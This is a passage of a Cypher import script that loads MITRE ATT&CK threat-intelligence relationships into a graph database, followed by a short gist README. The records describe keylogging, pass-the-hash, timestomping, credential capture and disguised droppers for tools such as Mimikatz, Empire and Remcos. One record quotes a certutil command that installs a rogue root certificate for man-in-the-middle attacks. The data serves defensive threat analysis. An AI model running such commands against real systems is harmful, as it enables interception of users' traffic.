id:"relationship--15f74597-d92d-406f-9941-c0dfef3cb609", external_references:["e90df1b6-ba9d-48a1-9bd8-034b0681e499"]}}, {start: {_id:11135}, end: {_id:1729}, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], target_ref:"attack-pattern--128c55d3-aeba-469f-bd3e-c8996ab4112a", created:"2017-12-14T16:46:06.044Z", custom:"{}", description:"[Cobalt Strike](https://attack.mitre.org/software/S0154) will timestomp any files or payloads placed on a target machine to help them blend in.", source_ref:"tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39", type:"relationship", revoked:false, labels:[], granular_markings:[], relationship_type:"uses", modified:"2019-06-06T19:04:39.232Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"relationship--e025dccd-ead3-44d8-af26-f2c3b27667f5", external_references:["19b2de42-d4cb-48d4-a808-5650da4e75c2"]}}, {start: {_id:11237}, end: {_id:838}, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], target_ref:"attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2", created:"2019-01-29T18:55:20.860Z", custom:"{}", description:"[Remcos](https://attack.mitre.org/software/S0332) has a command for keylogging.", source_ref:"tool--7cd0bc75-055b-4098-a00e-83dc8beaff14", type:"relationship", revoked:false, labels:[], granular_markings:[], relationship_type:"uses", modified:"2019-04-19T14:39:52.964Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"relationship--c50fd202-d4af-4157-b368-b4525af075c1", external_references:["c2c1eecc-b81c-4044-a533-b16f962168a5", "55e68620-660c-40a1-89cc-b0af0830da4a"]}}, {start: {_id:11278}, end: {_id:854}, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], target_ref:"attack-pattern--d519cfd5-f3a8-43a9-a846-ed0bb40672b1", created:"2017-12-14T16:46:06.044Z", custom:"{}", description:"[certutil](https://attack.mitre.org/software/S0160) can be used to install browser root certificates as a precursor to performing man-in-the-middle between connections to banking websites. Example command: <code>certutil -addstore -f -user ROOT ProgramData\\cert512121.der</code>.", source_ref:"tool--0a68f1f1-da74-4d28-8d9a-696c082706cc", type:"relationship", revoked:false, labels:[], granular_markings:[], relationship_type:"uses", modified:"2019-07-31T19:57:28.946Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"relationship--542bb806-3e73-42f5-8a3e-86b498093f4b", external_references:["2b01a6d1-cd92-4690-bb76-18fb34781827"]}}] AS row
MATCH (start:`UNIQUE IMPORT LABEL`{`UNIQUE IMPORT ID`: row.start._id})
MATCH (end:`UNIQUE IMPORT LABEL`{`UNIQUE IMPORT ID`: row.end._id})
CREATE (start)-[r:uses]->(end) SET r += row.properties;
UNWIND [{start: {_id:11201}, end: {_id:1163}, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], target_ref:"attack-pattern--c23b740b-a42b-47a1-aec2-9d48ddd547ff", created:"2017-12-14T16:46:06.044Z", custom:"{}", description:"[Pass-The-Hash Toolkit](https://attack.mitre.org/software/S0122) can perform pass the hash.", source_ref:"tool--a52edc76-328d-4596-85e7-d56ef5a9eb69", type:"relationship", revoked:false, labels:[], granular_markings:[], relationship_type:"uses", modified:"2018-10-17T00:14:20.652Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"relationship--1dc42b4c-4a93-4fc6-bad3-b5498ad500b1", external_references:["4d55dd9a-c846-4369-8003-c6a11c988efd"]}}, {start: {_id:11219}, end: {_id:838}, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], target_ref:"attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2", created:"2018-04-18T17:59:24.739Z", custom:"{}", description:"[Pupy](https://attack.mitre.org/software/S0192) uses a keylogger to capture keystrokes it then sends back to the server after it is stopped.", source_ref:"tool--cb69b20d-56d0-41ab-8440-4a4b251614d4", type:"relationship", revoked:false, labels:[], granular_markings:[], relationship_type:"uses", modified:"2019-04-24T17:52:47.742Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"relationship--811d0ef6-047f-4813-801e-33ebf1cae22a", external_references:["95dfc79c-bf8c-412f-ac5c-416c9dad0390"]}}, {start: {_id:11243}, end: {_id:1103}, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], target_ref:"attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529", created:"2018-01-16T16:13:52.465Z", custom:"{}", description:"[Responder](https://attack.mitre.org/software/S0174) captures hashes and credentials that are sent to the system after the name services have been poisoned.", source_ref:"tool--a1dd2dbd-1550-44bf-abcc-1a4c52e97719", type:"relationship", revoked:false, labels:[], granular_markings:[], relationship_type:"uses", modified:"2018-10-17T00:14:20.652Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"relationship--9c012fcf-876b-4101-aa28-6af8b00a51d2", external_references:["90b57aa8-d79a-425f-81e9-11a607ea26c8"]}}, {start: {_id:11138}, end: {_id:838}, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], target_ref:"attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2", created:"2019-03-11T15:04:51.687Z", custom:"{}", description:"[Empire](https://attack.mitre.org/software/S0363) includes keylogging capabilities for Windows, Linux, and macOS systems.", source_ref:"tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3", type:"relationship", revoked:false, labels:[], granular_markings:[], relationship_type:"uses", modified:"2019-06-24T17:15:44.021Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"relationship--14dcdf1b-6788-429d-a7d0-910e86a2e6d6", external_references:["12077b23-4342-406f-8194-385485a6fe07"]}}, {start: {_id:11138}, end: {_id:1103}, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], target_ref:"attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529", created:"2019-03-11T16:44:33.852Z", custom:"{}", description:"[Empire](https://attack.mitre.org/software/S0363) can be used to conduct packet captures on target hosts.", source_ref:"tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3", type:"relationship", revoked:false, labels:[], granular_markings:[], relationship_type:"uses", modified:"2019-06-24T17:15:44.550Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"relationship--9be360bb-8ac4-4357-8795-0736b447293c", external_references:["6caa3393-79d8-45f5-aa83-ab3a7e69d165"]}}, {start: {_id:11138}, end: {_id:1163}, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], target_ref:"attack-pattern--c23b740b-a42b-47a1-aec2-9d48ddd547ff", created:"2019-03-11T17:18:27.756Z", custom:"{}", description:"[Empire](https://attack.mitre.org/software/S0363) can perform pass the hash attacks.", source_ref:"tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3", type:"relationship", revoked:false, labels:[], granular_markings:[], relationship_type:"uses", modified:"2019-06-24T17:15:44.827Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"relationship--872c6f1b-aa4f-4d43-b35d-c4216d2f4559", external_references:["a4adf695-619e-4c15-b4a8-bf1f92887233"]}}, {start: {_id:11138}, end: {_id:1729}, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], target_ref:"attack-pattern--128c55d3-aeba-469f-bd3e-c8996ab4112a", created:"2019-03-11T19:24:08.175Z", custom:"{}", description:"[Empire](https://attack.mitre.org/software/S0363) can timestomp any files or payloads placed on a target machine to help them blend in.", source_ref:"tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3", type:"relationship", revoked:false, labels:[], granular_markings:[], relationship_type:"uses", modified:"2019-06-24T17:15:44.882Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"relationship--f082a4e1-b454-4528-9470-a2799215b235", external_references:["c0ff7d38-359e-4352-ba23-48fd4fad5de8"]}}, {start: {_id:11138}, end: {_id:49}, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], target_ref:"attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08", created:"2019-03-11T19:24:08.180Z", custom:"{}", description:"[Empire](https://attack.mitre.org/software/S0363) can acquire local and domain user account information.", source_ref:"tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3", type:"relationship", revoked:false, labels:[], granular_markings:[], relationship_type:"uses", modified:"2019-06-24T17:15:44.820Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"relationship--58b7b9bf-d09b-49f4-acf5-351979171317", external_references:["e6bfaadd-772d-486f-b7da-dba4144e977f"]}}, {start: {_id:11138}, end: {_id:1095}, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], target_ref:"attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f", created:"2019-03-11T20:01:20.295Z", custom:"{}", description:"[Empire](https://attack.mitre.org/software/S0363) can find shared drives on the local system.", source_ref:"tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3", type:"relationship", revoked:false, labels:[], granular_markings:[], relationship_type:"uses", modified:"2019-06-24T17:15:45.406Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"relationship--6fa815b2-23dc-455f-b358-dacb4e30a073", external_references:["fa7d983e-7c29-4ff4-8258-eb7fd132cc52"]}}, {start: {_id:11190}, end: {_id:1163}, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], target_ref:"attack-pattern--c23b740b-a42b-47a1-aec2-9d48ddd547ff", created:"2018-01-16T16:13:52.465Z", custom:"{}", description:"[Mimikatz](https://attack.mitre.org/software/S0002)'s <code>SEKURLSA::Pth</code> module can impersonate a user, with only a password hash, to execute arbitrary commands.", source_ref:"tool--afc079f3-c0ea-4096-b75d-3f05338b7f60", type:"relationship", revoked:false, labels:[], granular_markings:[], relationship_type:"uses", modified:"2019-04-24T23:36:42.304Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"relationship--6b83bc1e-edfc-4c6a-961f-d3757ae6a234", external_references:["fd5dfcc2-7534-4506-ba20-d3253c42116a", "127345db-9ac2-4bce-9913-ce8fa6703720"]}}, {start: {_id:11222}, end: {_id:994}, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], target_ref:"attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0", created:"2018-10-17T00:14:20.652Z", custom:"{}", description:"[QuasarRAT](https://attack.mitre.org/software/S0262) has dropped binaries as files named microsoft_network.exe and crome.exe.", source_ref:"tool--da04ac30-27da-4959-a67d-450ce47d9470", type:"relationship", revoked:false, labels:[], granular_markings:[], relationship_type:"uses", modified:"2019-06-24T19:05:41.600Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"relationship--311c1e0c-3b7b-456a-bb79-7288db54ed82", external_references:["4e1cf213-8bd9-4c86-97e4-a5321ac719cf"]}}, {start: {_id:11287}, end: {_id:49}, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], target_ref:"attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08", created:"2017-12-14T16:46:06.044Z", custom:"{}", description:"[dsquery](https://attack.mitre.org/software/S0105) can be used to gather information on user accounts within a domain.", source_ref:"to

CYPHER-CTI.md

This gist contains the following files:

• NOTICE.md Attributions
• attack1k.cypher A cypher script generating a subset of the Enterprise CTI data (about 1k nodes)
• attacksm.cypher A cypher script generating a subset of the Enterprise CTI data (about 500 nodes)
• attacklg.cypher A cypher script generating a subset of the Enterprise CTI data (about 18k nodes)

NOTICE.md

The original CTI dataset is provided by MITRE under the Apache License 2.0 The datasets in these files are adaptations of the MITRE ATT&CK Enterprise CTI dataset

attacklg.cypher

attacksm.cypher